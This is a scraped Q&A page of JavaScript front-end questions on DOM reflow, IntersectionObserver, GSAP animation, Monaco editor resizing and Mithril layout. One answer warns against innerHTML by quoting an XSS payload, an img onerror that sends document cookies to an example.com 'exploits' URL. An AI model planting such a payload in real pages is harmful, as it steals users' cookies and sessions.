How to optimize many dom reflow operations caused by getComputedStyle? - javascript

I'm building solution for business PDF like HTML elements splitting based on their content height which can be used for example - with puppeter/wkhtmltopdf to render suitable layout as much similar with my HTML/JS solution as possible. My goal is also to create unlimited to margins/padding/box-sizing way to styling it in CSS.
For better explanation, imagine div container with constant height, 1000px for example, but content is unlimited, and everytime its sum will take more than thats div specified height, we have to clone that page with appriopriate layout and content which overflows its boundary.
One of use cases is to use it in React because it has very high possibility to make it fancy with his reactive functionalities (Live pdf preview). But building it with react was such a pain, so I decided to create it in plain javascript.
I'm watching for DOM update using MutationObserver
private _initOnDomUpdateEvents(observer: Element, callback?: () => any) {
const mutation = new MutationObserver(() => {
callback();
});
mutation.observe(observer, {
attributes: true,
subtree: true,
childList: true
})
this.watchers.push(mutation);
return mutation;
}
And everytime the DOM has ben updated in observer scope (for example in .css selector named .sheet), I'm creating tree of its children which contains details about their relative height, offsetY, margins, paddings, borders, box-sizing, overflow and display - It has to be very accurate, pixel perfect almost. But to archive this, I've used very expansive solution, and optimisation gives me headache everytime I think of it.
To imagine my problem, look at this.
class Tree {
public getElementTree(element: Element): TreeElement {
const main = Tree._getChildrenBoundaryDetails(element, element);
main.setChildren(Tree._buildDimensionsTree(main, element));
return main;
}
private static _buildDimensionsTree(parent: TreeElement, element: Element) {
return Array.from(element.children).map(e => {
const dimensions = Tree._getChildrenBoundaryDetails(parent.getDomElement(), e)
dimensions.setChildren(Array.from(e.children).map(e => Tree._getChildrenBoundaryDetails(parent.getDomElement(), e)))
return dimensions;
})
}
private static _getChildrenBoundaryDetails(parent: Element, element: Element): TreeElement {
const style = getComputedStyle(element);
const offsetHeightTop = element.getBoundingClientRect().top
- parent.getBoundingClientRect().top;
return new TreeElement({
borderBox: style.boxSizing === 'border-box',
element: element,
offsetY: {
from: offsetHeightTop,
to: offsetHeightTop + parseFloat(style.height)
},
margin: {
top: parseFloat(style.marginTop),
bottom: parseFloat(style.marginBottom)
},
padding: {
top: parseFloat(style.paddingTop),
bottom: parseFloat(style.paddingBottom),
},
border: {
top: parseFloat(style.borderTopWidth),
bottom: parseFloat(style.borderBottomWidth)
}
})
}
}
Do you see that recursion in Tree._buildDimensionsTree? It's terrifying if you imagine, how many children may exists in real world examples, and for each, you have to call window.getComputedStyle. So I'm comming with question.
How to create more CPU friendly solution which don't requires as many DOM Reflows as in my example.
Thank you for help.

Related

How to use IntersectionObserver API to make navBar sticky

I am making the clone of a webpage which is made in JS but I am developing it by HTML, CSS, JS. Its navBar looks like this . Here is the link if you want to experience yourself link.
So, I have tried to implement this using IntersectionObserver API as well as by using window.addEventListener(). I don't want to implement this by using scroll event Listener because it is too heavy for end user.
const intersectionCB = ([entry]) => {
const elem = entry.target;
if (!entry.isIntersecting) {
elem.classList.add('nav__2-sticky');
// observer.unobserve(navBar);
} else {
elem.classList.remove('nav__2-sticky');
}
};
const observer = new IntersectionObserver(intersectionCB, {
root: null,
threshold: 0
});
observer.observe(navBar);
In HTML file
<div class="nav__2">
<div class="row nav__2--content">
<div class="logo-container">
<img src="img/logo-black.png" alt="" class="logo" />
</div>
........
In SCSS file
.nav {
&__2 {
top: 8rem;
position: absolute;
left: 0;
width: 100%;
&-sticky {
position: fixed;
top: 0;
}
}
}
You might understand what is happening. When navBar gets out of the view, (navBar is positioned at 8rem from top!). I append nav__2-sticky class (which is positioned fixed at 0 from top) to appear on the screen. Due to which entry.isIntersecting becomes true and elem.classList.remove('nav__2-sticky'); is executed. As a result navBar again gets out of the view and again elem.classList.add('nav__2-sticky') is executed. This cycle of adding and removing classes due to entry.isIntersecting becoming True and False is creating a problem for me. This happens in such speed that it shows abnormal behaviour.
So, is there any proper solution for this? I would also like to hear other solutions that might work.
I used scroll event after all. Here is the code, I think I don't need to explain. You will get more detailed explanation here link
const initialCords = navBar.getBoundingClientRect();
document.addEventListener('scroll', () => {
if (window.scrollY > initialCords.top) {
navBar.classList.add('nav__2-sticky');
} else {
navBar.classList.remove('nav__2-sticky');
}
});
Another angle could be to run the intersection observer on an element that is out of view (below the bottom of the screen) and not only the navbar itself

Each new animated element with IntersectionObserver gets an unwanted delay

I am using IntersectionObserver to animate every h1 on scroll.
The problem, as you can see in the snippet, is that the animation triggers every time for every h1. This means that every new animation of the intersecting h1 needs to wait for the previous ones to be finished and the result is basically a sort of incremental delay for each new entry.target. That's not what I want.
I tried to remove the anim-text class before and after unobserving the entry.target, but it didn't work.
I think the problem is in the forEach loop inside the //TEXT SPLITTING section, but all my efforts didn't solve the problem.
Thanks in advance for your help!
const titles = document.querySelectorAll("h1");
const titlesOptions = {
root: null,
threshold: 1,
rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
entries,
titlesObserver
) {
entries.forEach(entry => {
if (!entry.isIntersecting) {
return;
} else {
entry.target.classList.add("anim-text");
// TEXT SPLITTING
const animTexts = document.querySelectorAll(".anim-text");
animTexts.forEach(text => {
const strText = text.textContent;
const splitText = strText.split("");
text.textContent = "";
splitText.forEach(item => {
text.innerHTML += "<span>" + item + "</span>";
});
});
// END TEXT SPLITTING
// TITLE ANIMATION
const charTl = gsap.timeline();
charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
opacity: 0,
x: 40,
stagger: 0.1
});
titlesObserver.unobserve(entry.target);
// END TITLE ANIMATION
}
});
},
titlesOptions);
titles.forEach(title => {
titlesObserver.observe(title);
});
* {
color: white;
padding: 0;
margin: 0;
}
.top {
display: flex;
justify-content: center;
align-items: center;
font-size: 2rem;
height: 100vh;
width: 100%;
background-color: #279AF1;
}
h1 {
opacity: 0;
font-size: 4rem;
}
section {
padding: 2em;
height: 100vh;
}
.sec-1 {
background-color: #EA526F;
}
.sec-2 {
background-color: #23B5D3;
}
.sec-3 {
background-color: #F9C80E;
}
.sec-4 {
background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
<h1>FIRST</h1>
</section>
<section class="sec-2">
<h1>SECOND</h1>
</section>
<section class="sec-3">
<h1>THIRD</h1>
</section>
<section class="sec-4">
<h1>FOURTH</h1>
</section>
Let's simplify a bit here, because you're showing way more code than necessary. Also, you're doing some things in a bit of an odd way, so a few tips as well.
You had an if (...) { return } else ..., which doesn't need an else scoping: either the function returns, or we just keep going.
Rather than checking for "not intersecting" and then returning, instead check for insersecting and then run.
You're using string composition using +: stop using that and start using modern templating strings. So instead of "a" + b + "c", you use `a${b}c`. No more +, no more bugs relating to string composition.
You're using .innerHTML assignment: this is incredibly dangerous, especially if someone else's script updated your heading to be literal HTML code like <img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)"> or something. Never use innerHTML, use the normal DOM functions (createElement, appendChild, etc).
You were using a lot of const thing = arrow function without any need for this preservation: just make those normal functions, and benefit from hoisting (all normal functions are bound to scope before any code actually runs)
When using an observer, unobserver before you run the code that needs to kick in for an observed entry, especially if you're running more than a few lines of code. It's not fool proof, but does make it far less likely your entry kicks in a second time when people quicly swipe or scroll across your element.
And finally, of course, the reason your code didn't work: you were selecting all .anim-text span elements. Including headings you already processed. So when the second one scrolled into view, you'd select all span in both the first and second heading, then stagger-animate their letters. Instead, you only want to stagger the letters in the current heading, so given them an id and then query select using #headingid span instead.
However, while 7 sounds like the fix, thanks to how modern text works you still have a potential bug here: there is no guarantee that a word looks the same as "the collection of the letters that make it up", because of ligatures. For example, if you use a font that has a ligature that turns the actual string => into the single glyph ⇒ (like several programming fonts do) then your code will do rather the wrong thing.
But that's not necessarily something to fix right now, more something to be mindful of. Your code does not universally work, but it might be good enough for your purposes.
So with all that covered, let's rewrite your code a bit, throw away the parts that aren't really relevant to the problem, and of course most importantly, fix things:
function revealEntry(h1) {
const text = h1.textContent;
h1.textContent = "";
text.split(``).forEach(part => {
const span = document.createElement('span');
span.textContent = part;
h1.appendChild(span);
});
// THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
// inside _all_ headings with .anim-text, we *only* select
// the spans in _this_ heading:
const textSpans = `#${h1.id} span`;
const to = { opacity: 1 };
const from = { opacity: 0, x: -40, stagger: 1 };
gsap.timeline().set(h1, to).from(textSpans, from);
}
function watchHeadings(entries, observer) {
entries.forEach(entry => {
if (entry.isIntersecting) {
const h1 = entry.target;
observer.unobserve(h1);
revealEntry(h1);
}
});
};
const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
h1 {
opacity: 0;
font-size: 1rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>

$.each duplicates 10 twice

When I have #sp-pocetna10 and #sp-pocetna1, script add #sp-pocetna10 after #sp-pocetna1 and at the end too.
These are ID of sections on one-page website, so I need to add class active on current section or viewport ( full screen all sections ).
If I add #sp-pocetna0, it will duplicate right before #sp-pocetna1.
Do you have any idea how can I remove that duplicated sections?
var slidnum = jQuery("div[id^='sp-pocetna']").length + 1;
console.log("Total Scrolls: "+slidnum);
jQuery(window).on('load resize scroll', function() {
for (i = 1; i < slidnum; i++) {
var strane = jQuery( "div[id^='sp-pocetna"+ i +"']" );
strane.each(function() {
console.log(this);
if (jQuery(this).isInViewport()) {
jQuery("#sp-dots .custom li:nth-child("+ i +") a").addClass("active");
//console.log("Jeste u VP:"+str);
} else {
jQuery("#sp-dots .custom li:nth-child("+ i +") a").removeClass("active");
//console.log("Nije u VP:"+str);
}
});
}
});
I think this is another place where you should rather use Intersection Observer instead of listening to scroll events. Scroll events are bad for performance and IO was built to handle cases like yours.
First you have to create a new observer:
var options = {
rootMargin: '0px',
threshold: 1.0
}
var observer = new IntersectionObserver(callback, options);
Here we specify that once the observed element is 100% visible, some callback should be executed. If you want the callback to be executed if an element is passing 50% visible, change threshold: .5 (or any other number you like)
Then you have to specify which items to observe, in your case I think this would be:
var target = document.querySelector('[id^=sp-pocenta]');
observer.observe(target);
With this selector you watch every element whose id start with sp-pocenta.
So we define that once any element that matches this selector is visible on the page, the callback (that was defined earlier) is getting executed:
var callback = function(entries, observer) {
entries.forEach(entry => {
// Each entry describes an intersection change for one observed
// target element:
});
};
Here you specify what should happen for each "sp-pocenta"-Element in your page that is getting visible.
Edit: If you need to support older browsers than use this (official) polyfill from w3c, it recreates intersection observer with listening to scroll events.

Monaco editor dynamically resizable

I have been searching for a discussion about if it's possible to mimic the html tag textarea's resizing when using Monaco Editor's field all over the Internet but I couldn't find one answering my question.
I'm using the monaco-editor npm package in a React application. Do you have any idea if this is easy to implement?
Thank you in advance!
SOLUTION
With pure css I selected the target html element and just added these properties:
div {
resize: vertical;
overflow: auto;
}
TL;DR: add automaticLayout: true to your editor's configuration.
NL;PR:
Monaco has a built-in auto resize to parent container functionality:
createEditorWithAutoResize(){
this.editor = monaco.editor.create(
this.editorDiv.current, {
value: "var x = 0;",
language: 'javascript',
automaticLayout: true // <<== the important part
}
);
}
componentDidMount(){this.createEditorWithAutoResize();}
constructor(props){super(props); this.editorDiv = React.createRef();}
render(){return <div ref={this.editorDiv} className="editor" ></div>}
And the CSS for the editor (it avoids rendering the editor for the first time with like 10px height):
.editor{
height: 100%;
}
First tested: v0.10.1, Last tested: v0.32.1
Note:
< v0.20.0: The mechanism does not listen to its container size changes, it polls them.
#nrayburn-tech (Monaco Editor's contributor): Version 0.20 uses MutationObserver for all browsers. Version 0.21 and later uses ResizeObserver on supported browsers, otherwise, it uses polling as a fallback.
if you have a reference to the editor you can just call
editor.layout()
on some resize event.
For example, on window resize:
window.onresize = function (){
editor.layout();
};
For anyone coming here having this issue in a basic web app (html, css, javascript) I've found a solution for the resizing issue I'm experiencing.
I have the monaco editor in a resizable flex container. It will only grow the width, not shrink it, and vertical resizing doesn't seem to work out of the box.
If you use the monaco config "automaticLayout: true" and the following CSS it seems to resize as expected:
.monaco-editor { position: absolute !important; }
I tried the max-width 99% trick but it causes a laggy delayed effect when increasing the width near edge of page.
For posterity, the solution I arrived on was to set automaticLayout: false so that I could perform all the layout in a resize event listener.
const placeholder = document.getElementById('placeholder')
const editor = monaco.editor.create(placeholder, {
value: '// hello world',
language: 'javascript',
automaticLayout: false // or remove, it defaults to false
})
// we need the parent of the editor
const parent = placeholder.parentElement
window.addEventListener('resize', () => {
// make editor as small as possible
editor.layout({ width: 0, height: 0 })
// wait for next frame to ensure last layout finished
window.requestAnimationFrame(() => {
// get the parent dimensions and re-layout the editor
const rect = parent.getBoundingClientRect()
editor.layout({ width: rect.width, height: rect.height })
})
})
By first reducing the editor layout to 0 we can safely query the dimensions of the parent element without the child (editor) contributing to its size. We can then match the editor to the new parent dimensions. Since this takes place over a single frame, there should be no flickering or lag.
this is old question but get the problem to and solved it with react-resize-detector
based on ResizeObserver it feet perfectly to the need (check browser compatibility)
Exemple of component :
import React, { Component } from 'react';
import ReactResizeDetector from 'react-resize-detector';
import * as monaco from 'monaco-editor';
class Editor extends Component {
constructor(props) {
super(props)
this.state = {
width: 0,
height: 0,
}
this.editor_div = React.createRef()
this.handle_rezise = this.handle_rezise.bind(this);
}
componentDidMount() {
const editor_model = monaco.editor.createModel('', 'sql');
this.monaco_editor = monaco.editor.create(this.editor_div.current, this.props.editorOptions);
this.monaco_editor.setModel(editor_model);
}
componentWillUnmount() {
this.monaco_editor && this.monaco_editor.dispose();
}
handle_rezise(width, height) {
this.monaco_editor.layout({ height, width });
}
render() {
return(
<div
className="editor-container"
style={{ height: '100%' }}>
<ReactResizeDetector
handleWidth
handleHeight
onResize={ this.handle_rezise }
refreshMode="debounce"
refreshRate={100} />
<div
className="editor"
ref={ this.editor_div }
style={{ height: '100%' }} />
</div>
)
}
}
export default Editor;
Hope it's help
In my case I'm using that exact CSS but although automaticLayout: true works, I found out overkill (seems to pooling the DOM 100ms interval and I have several editors opened in the document. SO I ended up implementing it manually :
just in case , my needs are different: I want the user to resize it the container - in a standard way and cheap (both on code and performance) on libraries and performance. This is what I did:
css container : resize: vertical; overflow: auto
and this js :
function installResizeWatcher(el, fn, interval){
let offset = {width: el.offsetWidth, height: el.offsetHeight}
setInterval(()=>{
let newOffset = {width: el.offsetWidth, height: el.offsetHeight}
if(offset.height!=newOffset.height||offset.width!=newOffset.width){
offset = newOffset
fn()
}
}, interval)
}
const typeScriptCodeContainer = document.getElementById('typeScriptCodeContainer')
typeScriptCodeEditor = monaco.editor.create(typeScriptCodeContainer, Object.assign(editorOptions, {value: example.codeValue}))
installResizeWatcher(typeScriptCodeContainer, typeScriptCodeEditor.layout.bind(typeScriptCodeEditor), 2000)
yes, 2 seconds interval and make sure it registers only once. I see there is / was a resize interval on 100ms for the automatic relayout in monaco - IMHO that's too much.
See it in action: https://typescript-api-playground.glitch.me/?example=2

Mithril: render one DOM element bases on another

I have a fixed height div (body) containing two children, the header and the content. The header's height is changing on click of a button, and the content's height should be auto adjusting to fill the rest of the body. Now the problem is, the new header's height is calculated after the header and content divs got rendered, so the content div's height won't be updated upon the button click. Here's the shortened code:
return m('.body', {
style: {
height: '312px'
}
}, [
m('.header', /* header contents */),
m('.content', {
style: {
height: (312 - this._viewModel._headerHeight()) + 'px'
}
}, /* some contents */)
])
The headerHeight function calculates the header's height and applies changes to it. However the new height is calculated after it's rendered thus won't be applied immediately to the calculation of content's height - there's always a lag.
Any idea to fix it?
This is a regular problem when dealing with dynamic DOM layouts in which some writable DOM properties are derived from other readable DOM properties. This is especially tough to reason about in declarative virtual DOM idioms like Mithril because they're based on the premise that every view function should be self-complete snapshots of UI state — which in this case isn't possible.
You have 3 options: you can either break out of the virtual DOM idiom to achieve this functionality by directly manipulating the DOM outside of Mithril's view, or you can model your component to operate on a '2 pass draw', whereby each potential change to the header element results in 1 draw to update the header and a second draw to update the content accordingly. Alternatively, you might be able to get away with a pure CSS solution.
Because you only need to update one property, you're almost certainly better off going for the first option. By using the config function, you can write custom functionality that executes after the view on every draw.
return m('.body', {
style: {
height: '312px'
},
config : function( el ){
el.lastChild.style.height = ( 312 - el.firstChild.offsetHeight ) + 'px'
}
}, [
m('.header', /* header contents */),
m('.content', /* some contents */)
])
The second option is more idiomatic in terms of virtual DOM philosophy because it avoids direct DOM manipulation and keeps all stateful data in a model read and applied by the view. This approach becomes more useful when you have a multitude of dynamic DOM-related properties, because you can inspect the entire view model as the view is rendered — but it's also a lot more complicated and inefficient, especially for your scenario:
controller : function(){
this.headerHeight = 0
},
view : function( ctrl ){
return m('.body', {
style: {
height: '312px'
}
}, [
m('.header', {
config : function( el ){
if( el.offsetHeight != ctrl.headerHeight ){
ctrl.headerHeight = el.offsetHeight
window.requestAnimationFrame( m.redraw )
}
}, /* header contents */),
m('.content', {
style : {
height : ( 312 - ctrl.headerHeight ) + 'px'
}
}, /* some contents */)
])
}
A third option — depending on which browsers you need to support — would be to use the CSS flexbox module.
return m('.body', {
style: {
height: '312px',
display: 'flex',
flexDirection: 'column'
}
}, [
m('.header', {
style : {
flexGrow: 1,
flexShrink: 0
}
}, /* header contents */),
m('.content', {
style : {
flexGrow: 0,
flexShrink: 1
}
}, /* some contents */)
])
This way, you can simply state that the container is a flexbox, that the header should grow to fit its content and never shrink, and that the contents should shrink but never grow.

Categories

Resources